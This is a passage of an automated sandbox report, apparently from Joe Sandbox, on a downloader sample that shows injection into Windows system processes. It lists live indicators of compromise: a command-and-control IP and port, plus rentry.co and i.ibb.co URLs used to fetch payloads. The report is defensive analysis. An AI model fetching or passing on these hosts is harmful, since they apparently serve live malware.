Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdbog source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Code function: 1_2_000002616F59E250 FindFirstFileExW,	1_2_000002616F59E250
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00000216819BE250 FindFirstFileExW,	5_2_00000216819BE250
Source: C:\Windows\System32\winlogon.exe	Code function: 6_2_000001CA7D1EE250 FindFirstFileExW,	6_2_000001CA7D1EE250
Source: C:\Windows\System32\WerFault.exe	Code function: 8_2_00000265B3C0E250 FindFirstFileExW,	8_2_00000265B3C0E250
Source: C:\Windows\System32\lsass.exe	Code function: 9_2_0000017D2DD5E250 FindFirstFileExW,	9_2_0000017D2DD5E250
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_0000022F4B92E250 FindFirstFileExW,	10_2_0000022F4B92E250
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_0000013DE272E250 FindFirstFileExW,	11_2_0000013DE272E250
Source: C:\Windows\System32\dwm.exe	Code function: 14_2_00000262F1CAE250 FindFirstFileExW,	14_2_00000262F1CAE250
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002234E15E250 FindFirstFileExW,	15_2_000002234E15E250
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_0000023942B1E250 FindFirstFileExW,	16_2_0000023942B1E250
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000001EF056DE250 FindFirstFileExW,	17_2_000001EF056DE250
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000002287AD7E250 FindFirstFileExW,	18_2_000002287AD7E250
Source: C:\Windows\System32\svchost.exe	Code function: 19_2_000001B94DA9E250 FindFirstFileExW,	19_2_000001B94DA9E250
Source: C:\Windows\System32\svchost.exe	Code function: 20_2_000002520257E250 FindFirstFileExW,	20_2_000002520257E250
Source: C:\Windows\System32\svchost.exe	Code function: 21_2_000001A9EBFCE250 FindFirstFileExW,	21_2_000001A9EBFCE250
Source: C:\Windows\System32\svchost.exe	Code function: 22_2_0000019FF163E250 FindFirstFileExW,	22_2_0000019FF163E250

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: i.ibb.co

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: rentry.co

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.7:49740 -> 147.185.221.18:36538

Source: global traffic

TCP traffic: 192.168.2.7:52281 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /tranr/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.26.2.16 104.26.2.16
Source: Joe Sandbox View	IP Address: 162.19.58.157 162.19.58.157
Source: Joe Sandbox View	IP Address: 147.185.221.18 147.185.221.18
Source: Joe Sandbox View	IP Address: 169.197.85.95 169.197.85.95

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: PUREVOLTAGE-INCUS PUREVOLTAGE-INCUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	TCP traffic detected without corresponding DNS query: 147.185.221.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /tranr/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Dwrj41N/Image.png HTTP/1.1Host: i.ibb.coConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: rentry.co
Source: global traffic	DNS traffic detected: DNS query: i.ibb.co

Source: svchost.exe, 0000000B.00000003.1498001046.0000013DE2179000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: Microsoft-Windows-LiveId%4Operational.evtx.23.dr	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000000B.00000002.2645982875.0000013DE18D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2641180376.0000013DE1889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_com
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362974572.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000003.2258084109.0000017D2D59E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: svchost.exe, 0000000B.00000002.2645232189.0000013DE18BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362974572.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000003.2258084109.0000017D2D59E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: lsass.exe, 00000009.00000000.1362838248.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362974572.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000003.2258084109.0000017D2D59E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: svchost.exe, 0000000F.00000002.2688680497.000002234AEA4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.win
Source: svchost.exe, 0000000F.00000002.2690487322.000002234AEF8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: lsass.exe, 00000009.00000000.1363048000.0000017D2D493000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2656162105.0000017D2D493000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: svchost.exe, 0000000F.00000002.2689169832.000002234AEAD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.1407789169.000002234AE13000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 0000000F.00000002.2689169832.000002234AEAD000.00000004.00000001.00020000.00000000.sdmp, 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.11.dr, 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.15.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: svchost.exe, 0000000F.00000002.2688680497.000002234AEA4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab.
Source: svchost.exe, 0000000F.00000000.1407847459.000002234AE2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.1408194310.000002234AE93000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2686870301.000002234AE2B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?3b00525
Source: svchost.exe, 0000000F.00000002.2686425714.000002234AE00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.1407739228.000002234AE00000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cabs;C
Source: svchost.exe, 0000000F.00000002.2687279189.000002234AE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.1407935483.000002234AE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2686870301.000002234AE34000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2689169832.000002234AEAD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2691628090.000002234B50C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2688680497.000002234AEA4000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000000.1407789169.000002234AE13000.00000004.00000001.00020000.00000000.sdmp, FB0D848F74F70BB2EAA93746D24D97490.15.dr, FB0D848F74F70BB2EAA93746D24D97491.15.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab
Source: svchost.exe, 0000000F.00000002.2688680497.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2689930645.000002234AEEB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?723c7eb44784b
Source: svchost.exe, 0000000F.00000002.2688680497.000002234AE8A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?ce68b187f5ded
